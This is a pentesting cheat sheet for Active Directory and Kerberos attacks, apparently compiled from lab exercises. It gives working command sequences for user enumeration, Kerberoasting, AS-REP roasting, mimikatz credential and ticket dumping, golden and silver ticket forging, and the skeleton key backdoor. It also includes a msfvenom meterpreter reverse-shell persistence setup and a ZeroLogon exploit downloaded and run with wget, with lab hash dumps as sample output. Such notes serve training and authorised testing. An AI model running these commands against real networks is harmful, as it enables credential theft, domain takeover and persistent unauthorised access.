Active Directory¶

What is Kerberos?

Kerberos is the default authentication service for Microsoft Windows domains. It is intended to be more "secure" than NTLM by using third party ticket authorization as well as stronger encryption. Even though NTLM has a lot more attack vectors to choose from Kerberos still has a handful of underlying vulnerabilities just like NTLM that we can use to our advantage.

Common Terminology

Ticket Granting Ticket (TGT) - A ticket-granting ticket is an authentication ticket used to request service tickets from the TGS for specific resources from the domain.
Key Distribution Center (KDC) - The Key Distribution Center is a service for issuing TGTs and service tickets that consist of the Authentication Service and the Ticket Granting Service.
Authentication Service (AS) - The Authentication Service issues TGTs to be used by the TGS in the domain to request access to other machines and service tickets.
Ticket Granting Service (TGS) - The Ticket Granting Service takes the TGT and returns a ticket to a machine on the domain.
Service Principal Name (SPN) - A Service Principal Name is an identifier given to a service instance to associate a service instance with a domain service account. Windows requires that services have a domain service account which is why a service needs an SPN set.
KDC Long Term Secret Key (KDC LT Key) - The KDC key is based on the KRBTGT service account. It is used to encrypt the TGT and sign the PAC.
Client Long Term Secret Key (Client LT Key) - The client key is based on the computer or service account. It is used to check the encrypted timestamp and encrypt the session key.
Service Long Term Secret Key (Service LT Key) - The service key is based on the service account. It is used to encrypt the service portion of the service ticket and sign the PAC.
Session Key - Issued by the KDC when a TGT is issued. The user will provide the session key to the KDC along with the TGT when requesting a service ticket.
Privilege Attribute Certificate (PAC) - The PAC holds all of the user's relevant information, it is sent along with the TGT to the KDC to be signed by the Target LT Key and the KDC LT Key in order to validate the user.

AS-REQ w/ Pre-Authentication In Detail

The AS-REQ step in Kerberos authentication starts when a user requests a TGT from the KDC. In order to validate the user and create a TGT for the user, the KDC must follow these exact steps. The first step is for the user to encrypt a timestamp NT hash and send it to the AS. The KDC attempts to decrypt the timestamp using the NT hash from the user, if successful the KDC will issue a TGT as well as a session key for the user.

Ticket Granting Ticket Contents

In order to understand how the service tickets get created and validated, we need to start with where the tickets come from; the TGT is provided by the user to the KDC, in return, the KDC validates the TGT and returns a service ticket.

Service Ticket Contents

To understand how Kerberos authentication works you first need to understand what these tickets contain and how they're validated. A service ticket contains two portions: the service provided portion and the user-provided portion. I'll break it down into what each portion contains.

Service Portion: User Details, Session Key, Encrypts the ticket with the service account NTLM hash.
User Portion: Validity Timestamp, Session Key, Encrypts with the TGT session key.

Kerberos Authentication Overview

The client requests an Authentication Ticket or Ticket Granting Ticket (TGT).
The Key Distribution Center verifies the client and sends back an encrypted TGT.
The client sends the encrypted TGT to the Ticket Granting Server (TGS) with the Service Principal Name (SPN) of the service the client wants to access.
The Key Distribution Center (KDC) verifies the TGT of the user and that the user has access to the service, then sends a valid session key for the service to the client.
The client requests the service and sends the valid session key to prove the user has access.
The service grants access

Kerberos Tickets Overview

The main ticket that you will see is a ticket-granting ticket these can come in various forms such as a .kirbi for Rubeus .ccache for Impacket. The main ticket that you will see is a .kirbi ticket. A ticket is typically base64 encoded and can be used for various attacks. The ticket-granting ticket is only used with the KDC in order to get service tickets. Once you give the TGT the server then gets the User details, session key, and then encrypts the ticket with the service account NTLM hash. Your TGT then gives the encrypted timestamp, session key, and the encrypted TGT. The KDC will then authenticate the TGT and give back a service ticket for the requested service. A normal TGT will only work with that given service account that is connected to it however a KRBTGT allows you to get any service ticket that you want allowing you to access anything on the domain that you want.

Attack Privilege Requirements

Kerbrute Enumeration - No domain access required
Pass the Ticket - Access as a user to the domain required
Kerberoasting - Access as any user required
AS-REP Roasting - Access as any user required
Golden Ticket - Full domain compromise (domain admin) required
Silver Ticket - Service hash required
Skeleton Key - Full domain compromise (domain admin) required

What Can a Service Account do

After cracking the service account password there are various ways of exfiltrating data or collecting loot depending on whether the service account is a domain admin or not. If the service account is a domain admin you have control similar to that of a golden/silver ticket and can now gather loot such as dumping the NTDS.dit. If the service account is not a domain admin you can use it to log into other systems and pivot or escalate or you can use that cracked password to spray against other service and domain admin accounts; many companies may reuse the same or similar passwords for their service or domain admin users. If you are in a professional pen test be aware of how the company wants you to show risk most of the time they don't want you to exfiltrate data and will set a goal or process for you to get in order to show risk inside of the assessment.

Abusing Pre-Authentication Overview

By brute-forcing Kerberos pre-authentication, you do not trigger the account failed to log on event which can throw up red flags to blue teams. When brute-forcing through Kerberos you can brute-force by only sending a single UDP frame to the KDC allowing you to enumerate the users on the domain from a wordlist.

Brute-Forcing / Password-Spraying

When brute-forcing passwords you use a single user account and a wordlist of passwords to see which password works for that given user account.
In password spraying, you give a single password such as Password1 and "spray" against all found user accounts in the domain to find which one may have that password.

Kerberoasting

Kerberoasting allows a user to request a service ticket for any service with a registered SPN then use that ticket to crack the service password. If the service has a registered SPN then it can be Kerberoastable however the success of the attack depends on how strong the password is and if it is trackable as well as the privileges of the cracked service account. To enumerate Kerberoastable accounts I would suggest a tool like BloodHound to find all Kerberoastable accounts, it will allow you to see what kind of accounts you can kerberoast if they are domain admins, and what kind of connections they have to the rest of the domain. That is a bit out of scope for this room but it is a great tool for finding accounts to target.

AS-REP Roasting

During pre-authentication, the users hash will be used to encrypt a timestamp that the domain controller will attempt to decrypt to validate that the right hash is being used and is not replaying a previous request. After validating the timestamp the KDC will then issue a TGT for the user. If pre-authentication is disabled you can request any authentication data for any user and the KDC will return an encrypted TGT that can be cracked offline because the KDC skips the step of validating that the user is really who they say that they are.

Pass the Ticket Overview

Pass the ticket works by dumping the TGT from the LSASS memory of the machine. The Local Security Authority Subsystem Service (LSASS) is a memory process that stores credentials on an active directory server and can store Kerberos ticket along with other credential types to act as the gatekeeper and accept or reject the credentials provided. You can dump the Kerberos Tickets from the LSASS memory just like you can dump hashes. When you dump the tickets with mimikatz it will give us a .kirbi ticket which can be used to gain domain admin if a domain admin ticket is in the LSASS memory. This attack is great for privilege escalation and lateral movement if there are unsecured domain service account tickets laying around. The attack allows you to escalate to domain admin if you dump a domain admin's ticket and then impersonate that ticket using mimikatz PTT attack allowing you to act as that domain admin. You can think of a pass the ticket attack like reusing an existing ticket: we're not creating or destroying any tickets here, we're simply reusing an existing ticket from another user on the domain and impersonating that ticket.

Silver Ticket vs. Golden Ticket

A silver ticket can sometimes be better used in engagements rather than a golden ticket because it is a little more discreet. If stealth and staying undetected matter then a silver ticket is probably a better option than a golden ticket however the approach to creating one is the exact same. The key difference between the two tickets is that a silver ticket is limited to the service that is targeted whereas a golden ticket has access to any Kerberos service.

A specific use scenario for a silver ticket would be that you want to access the domain's SQL server however your current compromised user does not have access to that server. You can find an accessible service account to get a foothold with by kerberoasting that service, you can then dump the service hash and then impersonate their TGT in order to request a service ticket for the SQL service from the KDC allowing you access to the domain's SQL server.

KRBTGT Overview

In order to fully understand how these attacks work you need to understand what the difference between a KRBTGT and a TGT is. A KRBTGT is the service account for the KDC this is the Key Distribution Center that issues all of the tickets to the clients. If you impersonate this account and create a golden ticket form the KRBTGT you give yourself the ability to create a service ticket for anything you want. A TGT is a ticket to a service account issued by the KDC and can only access that service the TGT is from like the SQLService ticket.

Golden/Silver Ticket Attack Overview

A golden ticket attack works by dumping the ticket-granting ticket of any user on the domain; this would preferably be a domain admin, however for a golden ticket you would dump the krbtgt ticket and for a silver ticket, you would dump any service or domain admin ticket. This will provide you with the service/domain admin account's SID or security identifier that is a unique identifier for each user account, as well as the NTLM hash. You then use these details inside of a mimikatz golden ticket attack in order to create a TGT that impersonates the given service account information.

Skeleton Key Overview

The skeleton key works by abusing the AS-REQ encrypted timestamps, the timestamp is encrypted with the users NT hash. The domain controller then tries to decrypt this timestamp with the users NT hash, once a skeleton key is implanted the domain controller tries to decrypt the timestamp using both the user NT hash and the skeleton key NT hash allowing you access to the domain forest.

The Kerberos backdoor works by implanting a skeleton key that abuses the way that the AS-REQ validates encrypted timestamps. A skeleton key only works using Kerberos RC4 encryption.

The default hash for a mimikatz skeleton key is 60BA4FCADC466C7A033C178194C03DF6 which makes the password "mimikatz"

Server Manager

Because servers are hardly ever logged on unless its for maintenance this gives you an easy way for enumeration only using the built in windows features such as the server manager. If you already have domain admin you have a lot of access to the server manager in order to change trusts, add or remove users, look at groups, this can be an entry point to find other users with other sensitive information on their machines or find other users on the domain network with access to other networks in order to pivot to another network and continue your testing.

The only way to access the server manager is to rdp into the server and access the server over an rdp connection.

Some sys admins dont realize that you as an attacker can see the descriptions of user accounts so they may set the service accounts passwords inside of the description.

Mindmaps¶

Pentesting Active Directory: https://xmind.net/m/5dypm8/

PowerView¶

Powerview is a powerful powershell script from powershell empire that can be used for enumerating a domain after you have already gained a shell in the system.

PowerView.ps1: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
- CheatSheet: https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

powershell -ep bypass
. .\PowerView.ps1
Get-NetComputer -fulldata
Get-NetComputer -fulldata | select operatingsystem
Get-NetUser | select cn
Get-NetGroup -GroupName *admin*
Get-NetShare

BloodHound¶

Setup:

apt install bloodhound neo4j
sudo neo4j console
# -or-
sudp neo4j start
# open http://localhost:7474/browser/ and login with neo4j:neo4j
# change password (forced to do so)
bloodhound

SharpHound¶

SharpHound will gather information on the system and creates data that can be consumed by bloodhound WebUI.

powershell -ep bypass
. .\SharpHound.ps1
Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip
scp [email protected]:C:/Users/Administrator/Downloads/20220101114843_loot.zip loot.zip
# forward slash!
# now import into bloodhound
# by drag/drop loot.zip into bloodhound or "import graph"

KerBrute (Kerberos Bruteforce)¶

https://github.com/ropnop/kerbrute

user enumeration

# get the domain name
enum4linux $IP -a

# domain name != domain controller name

# get the usernames
/kerbrute userenum -d $DCNAME --dc $IP ~/Downloads/userlist.txt

Rubeus¶

! Must be executed on the target machine

https://github.com/GhostPack/Rubeus

Rubeus is a powerful tool for attacking Kerberos. Rubeus is an adaptation of the kekeo tool and developed by HarmJ0y the very well known active directory guru.

Rubeus has a wide variety of attacks and features that allow it to be a very versatile tool for attacking Kerberos. Just some of the many tools and attacks include overpass the hash, ticket requests and renewals, ticket management, ticket extraction, harvesting, pass the ticket, AS-REP Roasting, and Kerberoasting.

Harvesting
- Rubeus.exe harvest /interval:30 - This command tells Rubeus to harvest for TGTs every 30 seconds
Bruteforce
- echo 10.10.245.76 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts
- Rubeus.exe brute /password:Password1 /noticket - This will take a given password and "spray" it against all found users then give the .kirbi TGT for that user
Kerberoasting
- Rubeus.exe kerberoast /nowrap - This will dump the Kerberos hash of any kerberoastable users
- hashcat -a 0 -m 13100 hash.txt Wordlist
AS-REP Roasting
- Rubeus.exe asreproast /norwap - This will run the AS-REP roast command looking for vulnerable users and then dump found vulnerable user hashes.
- Insert 23$ after $krb5asrep$ so that the first line will be $krb5asrep$23$User.....
- hashcat -a 0 -m 18200 hash.txt Wordlist

impacket¶

Can be executed remotely

GetNPUsers¶

After the enumeration of user accounts is finished, we can attempt to abuse a feature within Kerberos with an attack method called ASREPRoasting. ASReproasting occurs when a user account has the privilege "Does not require Pre-Authentication" set. This means that the account does not need to provide valid identification before requesting a Kerberos Ticket on the specified user account. Rubeus doesn't need to enumerate the users fist as it can find them automatically.

impacket-GetNPUsers -f hashcat -dc-ip 10.10.218.176 -no-pass spookysec.local/svc-admin

GetUserSPNs¶

This will dump the Kerberos hash for all kerberoastable accounts it can find on the target domain just like Rubeus does; however, this does not have to be on the targets machine and can be done remotely.

# get the hashes
impacket-GetUserSPNs controller.local/Machine1:Password1 -dc-ip 10.10.245.76 -request

# crack them
hashcat -a 0 -m 13100 hash.txt Wordlist

SecretsDump¶

This will allow us to retrieve all of the password hashes that this user account (that is synced with the domain controller) has to offer. Exploiting this, we will effectively have full control over the AD Domain.

impacket-secretsdump -dc-ip 10.10.218.176 spookysec.local/backup:[email protected]

The secretsdump will output something like this:

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48
Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae
Administrator:des-cbc-md5:2079ce0e5df189ad
krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725cd77f45afc
krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902
krbtgt:des-cbc-md5:b94f97e97fabbf5d
spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c348469eba2c4a530ceb432b04
spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233
spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f

Mimikatz¶

Mimikatz is a very popular and powerful post-exploitation tool most commonly used for dumping user credentials inside of an active directory network however we'll be using mimikatz in order to dump a TGT from LSASS memory.

Dump NTLM Hashes¶

! You will need to run the command prompt as an administrator. If you don't have an elevated command prompt mimikatz will not work properly.

mimikatz.exe
>
privilege::debug
# Ensure this outputs [output '20' OK] if it does not that means you do not have the administrator privileges to properly run mimikatz
lsadump::lsa /patch
# this will dump all the ntlm hashes

Then use hashcat to crack the hashes:

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

Pass the Ticket¶

! You will need to run the command prompt as an administrator. If you don't have an elevated command prompt mimikatz will not work properly.

mimikatz.exe
>
privilege::debug
# Ensure this outputs [output '20' OK] if it does not that means you do not have the administrator privileges to properly run mimikatz
sekurlsa::tickets /export
# this will export all of the .kirbi tickets into the directory that you are currently in
# At this step you can also use the base 64 encoded tickets from Rubeus that we harvested earlier
# When looking for which ticket to impersonate I would recommend looking for an administrator ticket from the krbtgt like "Administrator@kbrtgt".
kerberos::ptt <ticket>
# <ticket> is the filename to use
# run this command inside of mimikatz with the ticket that you harvested from earlier. It will cache and impersonate the given ticket
kerberos::tgt
# Here were just verifying that we successfully impersonated the ticket by listing our cached tickets.
# Look for Service Name, Client Name.
# Now you can exit and use the shell as the impersonated user.

Dump the krbtgt hash & create golden/silver ticket¶

mimikatz.exe
>
privilege::debug
# Ensure this outputs [output '20' OK] if it does not that means you do not have the administrator privileges to properly run mimikatz
lsadump::lsa /inject /name:krbtgt
# This will dump the hash as well as the security identifier needed to create a Golden Ticket. To create a silver ticket you need to change the /name: to dump the hash of either a domain admin account or a service account such as the SQLService account.
kerberos::golden /user:Administrator /domain:controller.local /sid: /krbtgt: /id:
# This is the command for creating a golden ticket to create a silver ticket simply put a service NTLM hash into the krbtgt slot, the sid of the service account into sid, and change the id to 1103 (or use "lsadump::lsa /patch" to find the matching RID id).
# example: kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:1103
misc::cmd
# this will open a new elevated command prompt with the given ticket in mimikatz.

# Access machines that you want, what you can access will depend on the privileges of the user that you decided to take the ticket from however if you took the ticket from krbtgt you have access to the ENTIRE network hence the name golden ticket; however, silver tickets only have access to those that the user has access to if it is a domain admin it can almost access the entire network however it is slightly less elevated from a golden ticket.

# examples...
dir \\Desktop-1\c$
PsExec.exe \\Desktop-1\c$ cmd.exe

Skeleton Key¶

mimikatz.exe
>
privilege::debug
# Ensure this outputs [output '20' OK] if it does not that means you do not have the administrator privileges to properly run mimikatz
misc::skeleton
# Yes! that's it but don't underestimate this small command it is very powerful
# The default credentials will be: "mimikatz"

example: net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz - The share will now be accessible without the need for the Administrators password

example: dir \\Desktop-1\c$ /user:Machine1 mimikatz - access the directory of Desktop-1 without ever knowing what users have access to Desktop-1

The skeleton key will not persist by itself because it runs in the memory, it can be scripted or persisted using other tools and techniques.

Check/set file permissions¶

# check file permissions
icacls C:\folder
> User/Group:(OI)(CI)(F)(...)

# set file permissions
icacls C:\folder /setowner User1

I - permission inherited from the parent container
F - full access (full control)
M - Modify right/access
OI - object inherit
IO - inherit only
CI - container inherit
RX - read and execute
AD - append data (add subdirectories)
WD - write data and add files

Evil-WinRM¶

https://github.com/Hackplayers/evil-winrm

Remote Management -> shell

install: gem install evil-winrm

usage with nthash: evil-winrm -i 10.10.218.176 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

Persistent Backdoor¶

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=4001 -f exe -o shell.exe
scp shell.exe [email protected]:C:/Users/Administrator/Downloads/shell.exe
msfconsole
>
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST $LOCALIP
set LPORT 4001
run
# run shell.exe on remote host
background
use exploit/windows/local/persistence
set SESSION 1
set LHOST $LOCALIP
set LPORT 4001
run
# this will install the remote shell backdoor on the target host

Exploits¶

ZeroLogon (CVE-2020-1472)¶

https://tryhackme.com/room/zer0logon

# get netbios server name (eg. DC01)
nmap -A -O -vv $IP
# download zero logon script which removes the domain machine-account password
wget https://raw.githubusercontent.com/Sq00ky/Zero-Logon-Exploit/master/zeroLogon-NullPass.py
# execute exploit
zeroLogon-NullPass.py DC01 $IP
# get the administrator ticket.
impacket-secretsdump -just-dc -no-pass DC01$\$@$IP
# look for
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:3f3ef89114fb063e3d7fc23c20f65568:::
# hash is 3f3ef89114fb063e3d7fc23c20f65568 (last one)

# use evil-winrm to get a local shell
evil-winrm -i 10.10.79.96 -u Administrator -H 3f3ef89114fb063e3d7fc23c20f65568